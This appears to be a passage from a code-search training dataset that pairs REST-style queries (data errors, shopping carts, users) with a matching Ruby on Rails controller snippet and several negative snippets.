"def to_ascii_board_piece\r\n res = ''\r\n if @type_piece == :vuoto\r\n return ' '\r\n elsif @type_piece == :ped\r\n res = 'P'\r\n else\r\n res = @@conv_piece[@type_piece]\r\n end\r\n if @color_piece == :black\r\n # mark black pieces\r\n res += '*'\r\n else\r\n res += ' '\r\n end\r\n end",
"def to_s\n @board.map { |row| row.join (' ') }.join(\"\\n\")\n end",
"def convert_to_string(str = '')\n chess_board.values.each do |square|\n sqr_image, col_index, row_index = square.values\n\n str += attach(col_index) if row_index == 1\n\n str += sqr_image\n\n str += \" \\n\" if row_index == 8\n end\n @chess_board = str\n end",
"def board_to_string (board)\n board.map { |line| line.join \" \" }.join \"\\n\"\n end",
"def build_board\n board = \" #{@board[0][0]} | #{@board[0][1]} | #{@board[0][2]}\"\n board += \"\\n-----------\\n\"\n board += \" #{@board[1][0]} | #{@board[1][1]} | #{@board[1][2]}\"\n board += \"\\n-----------\\n\"\n board += \" #{@board[2][0]} | #{@board[2][1]} | #{@board[2][2]} \\n\"\n end",
"def get_board_s\n @cur_piece.set_on_board\n s = to_s\n @cur_piece.unset_on_board\n s\n end",
"def render\n (\"A\"..\"H\").each { |col| print \" #{col}\"}\n print \"\\n\\n\"\n\n (0...8).each do |row|\n # Start counting downwards - rows are upside down in ChessBoard\n row_idx = (7 - row) % @board.rows.count + 1\n print \"#{row_idx} \"\n\n (0...8).each do |col|\n pos = [row, col]\n render_piece(pos)\n end\n\n print \"\\n\\n\"\n end\n\n debug_info if @debug\n print_controls\n end",
"def get_board\n return board_to_string\n end",
"def draw_board(gameboard)\n board = ''\n gameboard.each do |row|\n row.each do |column|\n if column == \"\"\n board += \"_|\"\n else\n board += \"#{column}|\"\n end\n end\n board += \"\\n\"\n end\n puts board\nend",
"def to_chess_notation(point)\n\n\t\t\"#{BOARD_FILE.key(point.x)}#{(point.y+1).to_s}\"\n\n\tend",
"def find_piece_string(row,col)\n if board.piece_exists?(row,col)\n team_marker = find_team_marker(board.piece_team(row,col))\n else\n team_marker = find_team_marker(:none)\n end\n piece_marker = find_piece_marker(board.piece_class(row,col))\n coordinates = indices_to_chess_coords(row,col)\n \"#{team_marker}#{piece_marker}#{coordinates}\"\n end",
"def toChessSquare(x,y)\n row = ['a','b','c','d','e'][x]\n col = [ 6, 5, 4, 3, 2, 1][y]\n return row + col.to_s\n end",
"def draw_board(hash_of_picks) \n board = \"\n | | \n #{hash_of_picks[1]} | #{hash_of_picks[2]} | #{hash_of_picks[3]} \n | | \n -----+-----+-----\n | | \n #{hash_of_picks[4]} | #{hash_of_picks[5]} | #{hash_of_picks[6]} \n | | \n -----+-----+-----\n | | \n #{hash_of_picks[7]} | #{hash_of_picks[8]} | #{hash_of_picks[9]} \n | | \"\n\n puts board\nend",
"def display_board\n\t board =\" | | \\n-----------\\n | | \\n-----------\\n | | \"\n\t puts board\n\tend",
"def to_ascii\n lines = []\n cols = col_count\n min_row.upto(max_row) do |row|\n line = \"%03d:\" % row # left-padded row number\n (cols - row).times {line << ' '}\n\n min_col.upto(max_col) do |col|\n line << ' '\n line << (@board[[row,col,0]] || '.').to_s\n end\n\n lines << line\n end\n\n lines.join \"\\n\"\n end",
"def print_board\n value = ''\n\n (1..@lines).each do |line|\n (1..@cols).each do |col|\n value += set_cell_value(line, col).to_s\n value += \"\\n\" if col == @cols\n end\n end\n\n value\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /data_errors/1 GET /data_errors/1.json
|
def show
@data_error = DataError.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @data_error }
end
end
|
[
"def errors\n fetch_results('error')\n end",
"def render_errors(errors)\n render json: errors, status: :bad_request\n end",
"def new\n @data_error = DataError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_error }\n end\n end",
"def json_error err, status = 400, headers = {}\n\t\t\tjson_resp({'error' => err}, status, headers)\n\t\tend",
"def err (e, m, s)\n\t\trender json: {error: e, message: m}, status: s\n\tend",
"def errors_resource(errors)\n {errors: errors}\n end",
"def error\n @error_response\n end",
"def errors_from_json(json)\n render('layouts/json_errors', errors: json ) unless json.blank?\n end",
"def render_json_validation_errors(resource)\n errors = []\n resource.errors.each do |fieldName, value|\n single_body = {\n :message => value,\n :fieldName => fieldName\n }\n errors.push(single_body)\n end\n render json: {\n status: \"error\",\n error: {\n status: \"error\",\n name: \"Unprocessable Entity\",\n data: errors\n }\n }, status: 422\n end",
"def show\n @thing_with_error = ThingWithError.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thing_with_error }\n end\n end",
"def check_receiving_error( datas )\n error_code = datas.split(\" \")[0].to_i\n if error_code > 200\n raise RequestException.new(\"query had returned an error_code #{error_code} : #{datas.split(\"\\n\")[1]}\")\n end\n end",
"def display_errors\n return super unless format == :json\n\n errors, status = resource_errors\n\n controller.render problem: errors, status: status\n end",
"def destroy\n @data_error = DataError.find(params[:id])\n @data_error.destroy\n\n respond_to do |format|\n format.html { redirect_to data_errors_url }\n format.json { head :no_content }\n end\n end",
"def error\n return unless id.nil?\n @error ||= @response['message']\n end",
"def work_errors\n batch_job = BatchJob.find(params[:batch])\n work = Work.find(params[:work])\n job_queues = JobQueue.where(batch_job: batch_job, status: JobStatus.failed, work: work)\n\n resp = {}\n resp[:work] = params[:work]\n resp[:job] = batch_job.name\n errors = []\n job_queues.each do |job_queue|\n errors << { error: job_queue.results, page: job_queue.page.pg_ref_number }\n end\n resp[:errors] = errors\n\n render json: resp, status: :ok\n end",
"def update_errors\n @c.get_data(:update_errors)\n end",
"def err_resp(req, code, message, data=nil)\n resp = { \"jsonrpc\"=>\"2.0\", \"error\"=> { \"code\"=>code, \"message\"=>message } }\n if req[\"id\"]\n resp[\"id\"] = req[\"id\"]\n end\n if data\n resp[\"error\"][\"data\"] = data\n end\n\n return resp\n end",
"def render_json_error(obj, opts={})\n opts = { status: opts } if opts.is_a?(Fixnum)\n render json: MultiJson.dump(create_errors_json(obj, opts[:type])), status: opts[:status] || 422\n end",
"def find_errors(data)\n data.each do |key, value|\n return value if key == 'userErrors'\n\n if value.is_a?(Hash)\n errors = find_errors(value)\n\n return errors if errors\n end\n end\n\n nil\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /data_errors/new GET /data_errors/new.json
|
def new
@data_error = DataError.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @data_error }
end
end
|
[
"def new\n @error = Error.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @error }\n end\n end",
"def new\n @information_error = InformationError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information_error }\n end\n end",
"def new\n @thing_with_error = ThingWithError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing_with_error }\n end\n end",
"def new\n @runs_error = RunsError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @runs_error }\n end\n end",
"def new\n @error_report = ErrorReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @error_report }\n end\n end",
"def new\n @errors = Errors.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @errors }\n end\n end",
"def new\n @scerror = Scerror.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scerror }\n end\n end",
"def create\n @data_error = DataError.new(params[:data_error])\n\n respond_to do |format|\n if @data_error.save\n format.html { redirect_to @data_error, notice: 'Data error was successfully created.' }\n format.json { render json: @data_error, status: :created, location: @data_error }\n else\n format.html { render action: \"new\" }\n format.json { render json: @data_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @faillog = Faillog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @faillog }\n end\n end",
"def new\n @system_error = SystemError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @system_error }\n end\n end",
"def new\n @failure = Failure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @failure }\n end\n end",
"def new\n @import_error = ImportError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @import_error }\n end\n end",
"def new\n @mold = Mold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mold }\n end\n end",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\n @issue = Issue.new\n\n @new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end",
"def new\n @missing_person = @event.missing_people.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @missing_person }\n end\n end",
"def new\n #create a new validation\n @validation = Validation.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @validation }\n end\n end",
"def new\n @missing_person = MissingPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @missing_person }\n end\n end",
"def new\n @problem = Problem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @problem }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /data_errors POST /data_errors.json
|
def create
@data_error = DataError.new(params[:data_error])
respond_to do |format|
if @data_error.save
format.html { redirect_to @data_error, notice: 'Data error was successfully created.' }
format.json { render json: @data_error, status: :created, location: @data_error }
else
format.html { render action: "new" }
format.json { render json: @data_error.errors, status: :unprocessable_entity }
end
end
end
|
[
"def post(exception_data)\n hash = exception_data.to_hash\n hash[:session].delete(\"initialization_options\")\n hash[:session].delete(\"request\")\n call_remote(:errors, hash.to_json)\n end",
"def render_json_validation_errors(resource)\n errors = []\n resource.errors.each do |fieldName, value|\n single_body = {\n :message => value,\n :fieldName => fieldName\n }\n errors.push(single_body)\n end\n render json: {\n status: \"error\",\n error: {\n status: \"error\",\n name: \"Unprocessable Entity\",\n data: errors\n }\n }, status: 422\n end",
"def render_errors(errors)\n render json: errors, status: :bad_request\n end",
"def error_for_422(body); end",
"def new\n @data_error = DataError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_error }\n end\n end",
"def formError(err={})\n {:errors=>err,:error_message=>CONFIG['messages']['error_submission']}.to_json\n end",
"def errors_for(object)\n { json: { errors: object.errors }, status: :unprocessable_entity }\n end",
"def error_data?(data)\n case\n when data.kind_of?(::StandardError) || data.is_a?(Errors)\n true\n when data.is_a?(Hash)\n response_class.error_key?(data)\n else\n false\n end\n end",
"def render_json_error(obj, opts={})\n opts = { status: opts } if opts.is_a?(Fixnum)\n render json: MultiJson.dump(create_errors_json(obj, opts[:type])), status: opts[:status] || 422\n end",
"def invalid_json_json(exception)\n code = 500\n render :json => Status::Errors.exception_json(\"We are currently experiencing issues with our data server, please try again soon.\", code).to_json, :status => code\n end",
"def render_json_error(obj, opts = {})\n opts = { status: opts } if opts.is_a?(Fixnum)\n render json: MultiJson.dump(create_errors_json(obj, opts[:type])), status: opts[:status] || 422\n end",
"def failed_seccess\n response = {\n message: \"Failed to creat post, due to #{ self.errors.full_messages }\",\n post: self\n }\n end",
"def unprocessable_entity(record)\n status 422\n errors = { \"errors\" => record.errors.full_messages }\n\n json errors\n end",
"def render_validation_errors(errors)\n error_responses = errors.full_messages.map { |message| { error: 'ValidationError', message: message } }\n render status: 422, json: { errors: error_responses }\n end",
"def render_json_error(obj, opts={})\n opts = { status: opts } if opts.is_a?(Fixnum)\n render json: MultiJson.dump(create_errors_json(obj, opts[:type])), status: opts[:status] || 422\n end",
"def expected_json_errors(msg)\n expect(last_response.body).to eql(msg)\n expect(last_response.status).to eq 422\n end",
"def expected_json_errors(msg)\n expect(last_response.body).to eql(msg)\n expect(last_response.status).to eq 422 \n end",
"def decode_remote_errors(data, options={})\n data.present? ? (Hash===data ? data : {base: data}) : {}\n end",
"def json_error err, status = 400, headers = {}\n\t\t\tjson_resp({'error' => err}, status, headers)\n\t\tend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT /data_errors/1 PUT /data_errors/1.json
|
def update
@data_error = DataError.find(params[:id])
respond_to do |format|
if @data_error.update_attributes(params[:data_error])
format.html { redirect_to @data_error, notice: 'Data error was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @data_error.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update_errors\n @c.get_data(:update_errors)\n end",
"def update\n @error = Error.find(params[:id])\n\n respond_to do |format|\n if @error.update_attributes(params[:error])\n format.html { redirect_to @error, notice: 'Error was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @error = Error.find(params[:id])\n\n respond_to do |format|\n if @error.update_attributes(params[:error])\n format.html { redirect_to @error, notice: 'Error was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @error.update(error_params)\n format.html { redirect_to @error, notice: \"Error was successfully updated.\" }\n format.json { render :show, status: :ok, location: @error }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def hput(path, data)\n\t\t\trequest = Net::HTTP::Put.new(\"#{@server.path}#{path}\")\n\t\t\trequest.add_field('Content-Type', 'application/json')\n\t\t\trequest.body = data.to_json\n\t\t\tresponse = @http.request(request)\n\t\t\treturn response.code.to_i\n\t\tend",
"def update\n @thing_with_error = ThingWithError.find(params[:id])\n\n respond_to do |format|\n if @thing_with_error.update_attributes(params[:thing_with_error])\n format.html { redirect_to @thing_with_error, notice: 'Thing with error was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing_with_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def error_for_422(body); end",
"def put\n status 404\n nil\n end",
"def update\n respond_to do |format|\n if @client_error.update(client_error_params)\n format.html { redirect_to @client_error, notice: 'Client error was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @client_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def render_errors(errors)\n render json: errors, status: :bad_request\n end",
"def update_resource_invalid(opts)\n update_resource({code: 400}.merge(opts))\n end",
"def destroy\n @data_error = DataError.find(params[:id])\n @data_error.destroy\n\n respond_to do |format|\n format.html { redirect_to data_errors_url }\n format.json { head :no_content }\n end\n end",
"def edit_resource(type, id, data)\n bad_attrs = data_includes_invalid_attrs(data)\n\n if bad_attrs.present?\n msg = \"Attribute(s) '#{bad_attrs}' should not be specified for updating a zone resource\"\n raise BadRequestError, msg\n end\n\n super\n end",
"def update\n\n claim_error_params[:error_type] = claim_error_params[:error_type].to_i\n\n respond_to do |format|\n if @claim_error.update(claim_error_params)\n format.html { redirect_to @claim_error, notice: 'Claim error was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_error }\n else\n format.html { render :edit }\n format.json { render json: @claim_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wrong_data_asset.update(wrong_data_asset_params)\n format.html { redirect_to @wrong_data_asset, notice: 'Wrong data asset was successfully updated.' }\n format.json { render :show, status: :ok, location: @wrong_data_asset }\n else\n format.html { render :edit }\n format.json { render json: @wrong_data_asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @err.update(err_params.merge(get_update_columns))\n format.html { redirect_to project_errs_path(@project), notice: 'Err was successfully updated.' }\n format.json { render :show, status: :ok, location: @err }\n else\n format.html { render :edit }\n format.json { render json: @err.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n error_msg(ErrorCodes::OBJECT_ERROR, \"#{I18n.t \"endnote_files.errors.not_found\"}: #{params[:id]}\")\n render_json\n end",
"def update\n respond_to do |format|\n if @otg_err.update(otg_err_params)\n format.html { redirect_to @otg_err, notice: 'Otg err was successfully updated.' }\n format.json { render :show, status: :ok, location: @otg_err }\n else\n format.html { render :edit }\n format.json { render json: @otg_err.errors, status: :unprocessable_entity }\n end\n end\n end",
"def render_json_validation_errors(resource)\n errors = []\n resource.errors.each do |fieldName, value|\n single_body = {\n :message => value,\n :fieldName => fieldName\n }\n errors.push(single_body)\n end\n render json: {\n status: \"error\",\n error: {\n status: \"error\",\n name: \"Unprocessable Entity\",\n data: errors\n }\n }, status: 422\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /data_errors/1 DELETE /data_errors/1.json
|
def destroy
@data_error = DataError.find(params[:id])
@data_error.destroy
respond_to do |format|
format.html { redirect_to data_errors_url }
format.json { head :no_content }
end
end
|
[
"def delete_errors\n @c.get_data(:delete_errors)\n end",
"def destroy\n @error = Error.find(params[:id])\n @error.destroy\n\n respond_to do |format|\n format.html { redirect_to errors_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @error = Error.find(params[:id])\n @error.destroy\n\n respond_to do |format|\n format.html { redirect_to errors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_error.destroy\n respond_to do |format|\n format.html { redirect_to client_errors_url }\n format.json { head :no_content }\n end\n end",
"def delete\n ClientError.delete_similar(params[:id])\n\n fetch_errors\n render(:partial => \"errors\", :layout => false)\n end",
"def delete\n RestClient.delete \"#{@uri}/api/requests/request/#{@data['requestId']||@data['id']}\"\n puts ' Deleted request: '.red + \"#{@data['requestId']||@data['id']}\".light_blue\n end",
"def destroy\n @errors = Errors.find(params[:id])\n @errors.destroy\n\n respond_to do |format|\n format.html { redirect_to(errors_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @error = Error.find( params[:id] )\n @error.destroy\n \n respond_to do |format|\n format.html { redirect_to( errors_url ) }\n format.xml { head( :ok ) }\n end\n end",
"def destroy\n @error.destroy\n respond_to do |format|\n format.html { redirect_to errors_url, notice: 'Error was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @error.destroy\n respond_to do |format|\n format.html { redirect_to errors_url, notice: \"Error was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @common_error.destroy\n respond_to do |format|\n format.html { redirect_to common_errors_url, notice: 'Entrada catalogo borrada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scerror = Scerror.find(params[:id])\n @scerror.destroy\n\n respond_to do |format|\n format.html { redirect_to scerrors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thing_with_error = ThingWithError.find(params[:id])\n @thing_with_error.destroy\n\n respond_to do |format|\n format.html { redirect_to thing_with_errors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @daw_log_error.destroy\n respond_to do |format|\n format.html { redirect_to daw_log_errors_url, notice: 'Daw log error was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @errorlog.destroy\n respond_to do |format|\n format.html { redirect_to errorlogs_url, notice: 'Errorlog was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @error_report = ErrorReport.find(params[:id])\n @error_report.destroy\n\n respond_to do |format|\n format.html { redirect_to error_reports_url }\n format.json { head :no_content }\n end\n end",
"def test_delete_not_exist_metric\n not_exist_id = '10000'\n output = `curl -X DELETE http://localhost:8080/metrics/metrics/#{not_exist_id}`\n assert_match \"<html>\", output, \"TEST 5: delete not existing metric - FAILED\"\n end",
"def destroy\n @runs_error = RunsError.find(params[:id])\n @runs_error.destroy\n\n respond_to do |format|\n format.html { redirect_to runs_errors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datafile.destroy\n respond_to do |format|\n format.html { redirect_to datafiles_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /usuario_carta/1 GET /usuario_carta/1.json
|
def show
@usuario_cartum = UsuarioCartum.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @usuario_cartum }
end
end
|
[
"def show\n @user = User.find(params[:user_id])\n @cart_item = @user.cart_items.find(params[:id])\n json_response(@cart_item)\n end",
"def index\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n render json: @usuario.productos\n else\n @productos = Producto.all\n render json: @productos\n end\n end",
"def show\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n @producto = Producto.find(params[:id])\n render json: @usuario.productos.find(@producto.id)\n else\n \t @producto = Producto.find(params[:id])\n render json: @producto\n end\n end",
"def index\n if(params[:num_cartao])\n @beneficiario = Beneficiario.find_by(:num_cartao => params[:num_cartao])\n render json: @beneficiario\n else\n @beneficiarios = Beneficiario.all\n end\n end",
"def new\n @usuario_cartum = UsuarioCartum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario_cartum }\n end\n end",
"def show\n @cartelera = Cartelera.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cartelera }\n end\n end",
"def show \n cart = Cart.find(params[:id])\n render json: cart\n end",
"def show\n @usuario = Usuario.find(params[:id])\n\n render json: @usuario\n end",
"def show\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caracteristica_cartum }\n end\n end",
"def index\n @diretorios = Diretorio.where(pessoa_id: params[:usuario]).first\n render json: @diretorios\n end",
"def show\n @usuario = Usuario.find(params[:id])\n render json: @usuario\n end",
"def show\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \t\t\trender json: @usuario.pedidos.find(@pedido.id)\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \t\t\trender json: @negocio.pedidos.find(@pedido.id)\n \t\tend\n \tend",
"def show\n @carts_product = @cart.carts_products.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carts_product }\n end\n end",
"def show\n @cartt = Cartt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cartt }\n end\n end",
"def show\n @cliente_producto = ClienteProducto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente_producto }\n end\n end",
"def get_cart\n cart = Cart.find(params[:id])\n total = cart.product.reduce(0){ |acc, item| acc + item['price'] }\n\n json_response({ products: cart.product, total: total })\n end",
"def index\n @cart_items = CartItem.all\n\n render json: @cart_items\n end",
"def show\n render json: @cart_item\n end",
"def index\n @pedidos = Pedido.find(:all, :conditions => [\"cliente_id=?\", session[:usuario_id]])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /usuario_carta/new GET /usuario_carta/new.json
|
def new
@usuario_cartum = UsuarioCartum.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @usuario_cartum }
end
end
|
[
"def new\n @cartelera = Cartelera.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cartelera }\n end\n end",
"def new\n \t\"puts get carts new\"\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def create\n @usuario_cartum = UsuarioCartum.new(params[:usuario_cartum])\n\n respond_to do |format|\n if @usuario_cartum.save\n format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully created.' }\n format.json { render json: @usuario_cartum, status: :created, location: @usuario_cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @cartt = Cartt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cartt }\n end\n end",
"def new\n @caracteristica_cartum = CaracteristicaCartum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @caracteristica_cartum }\n end\n end",
"def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n @usuario = Usuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario }\n end\n end",
"def new\n @usuario = User.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario }\n end\n end",
"def new\n @tipo_usuario = TipoUsuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_usuario }\n end\n end",
"def new\n @producto = Producto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @producto }\n end\n end",
"def new\n @cliente_producto = ClienteProducto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente_producto }\n end\n end",
"def new\n @posizione = Posizione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @posizione }\n end\n end",
"def new\n @mixproducto = Mixproducto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mixproducto }\n end\n end",
"def new\n @produto = Produto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produto }\n end\n end",
"def new\n @cota = Cota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cota }\n end\n end",
"def new\n @usuario_seccion = UsuarioSeccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario_seccion }\n end\n end",
"def new\n @tipo_producto = TipoProducto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_producto }\n end\n end",
"def create\n @cartelera = Cartelera.new(params[:cartelera])\n\n respond_to do |format|\n if @cartelera.save\n format.html { redirect_to @cartelera, notice: 'Cartelera was successfully created.' }\n format.json { render json: @cartelera, status: :created, location: @cartelera }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cartelera.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @cuenta = Cuenta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cuenta }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /usuario_carta POST /usuario_carta.json
|
def create
@usuario_cartum = UsuarioCartum.new(params[:usuario_cartum])
respond_to do |format|
if @usuario_cartum.save
format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully created.' }
format.json { render json: @usuario_cartum, status: :created, location: @usuario_cartum }
else
format.html { render action: "new" }
format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n product = Product.find(params[:product_id])\n quantity = params[:pocet]\n @cart_product = @cart.add_product(product.id, quantity)\n :add_cart_to_current_user\n respond_to do |format|\n if @cart_product.save\n if user_signed_in?\n user = current_user\n user.cart_id = @cart.id\n user.save\n end\n format.html { redirect_to @cart, notice: 'Zbozi bylo vlozeno do kosiku' }\n format.json { render :show, status: :created, location: @cart_product }\n else\n format.html { render :new }\n format.json { render json: @cart_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dados_cartao = DadosCartao.new(dados_cartao_params)\n\n respond_to do |format|\n if @dados_cartao.save\n format.html { redirect_to @dados_cartao, notice: 'Dados cartao was successfully created.' }\n format.json { render :show, status: :created, location: @dados_cartao }\n else\n format.html { render :new }\n format.json { render json: @dados_cartao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cartelera = Cartelera.new(params[:cartelera])\n\n respond_to do |format|\n if @cartelera.save\n format.html { redirect_to @cartelera, notice: 'Cartelera was successfully created.' }\n format.json { render json: @cartelera, status: :created, location: @cartelera }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cartelera.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cartelera = Cartelera.new(cartelera_params)\n\n respond_to do |format|\n if @cartelera.save\n format.html { redirect_to @cartelera, notice: 'Cartelera was successfully created.' }\n format.json { render :show, status: :created, location: @cartelera }\n else\n format.html { render :new }\n format.json { render json: @cartelera.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n @cart = Cart.create({User_id: cart_params[\"id\"]})\n \n @response = {\n cart: @cart,\n items: Item.all\n }\n \n render json: @response.to_json\n end",
"def create\n @caracteristica_cartum = CaracteristicaCartum.new(params[:caracteristica_cartum])\n\n respond_to do |format|\n if @caracteristica_cartum.save\n format.html { redirect_to @caracteristica_cartum, notice: 'Caracteristica cartum was successfully created.' }\n format.json { render json: @caracteristica_cartum, status: :created, location: @caracteristica_cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @caracteristica_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @intranet_cartorio = Intranet::Cartorio.new(intranet_cartorio_params)\n\n respond_to do |format|\n if @intranet_cartorio.save\n format.html { redirect_to @intranet_cartorio, notice: \"Cartorio was successfully created.\" }\n format.json { render :show, status: :created, location: @intranet_cartorio }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @intranet_cartorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @usuario_cartum = UsuarioCartum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario_cartum }\n end\n end",
"def create\n @produto = Produto.new(params[:produto])\n @produto.empresa = session[:usuario].empresa\n \n params[:produto][:preco_compra] = converte_valor_banco params[:produto][:preco_compra]\n params[:produto][:preco_venda] = converte_valor_banco params[:produto][:preco_venda]\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render json: @produto, status: :created, location: @produto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
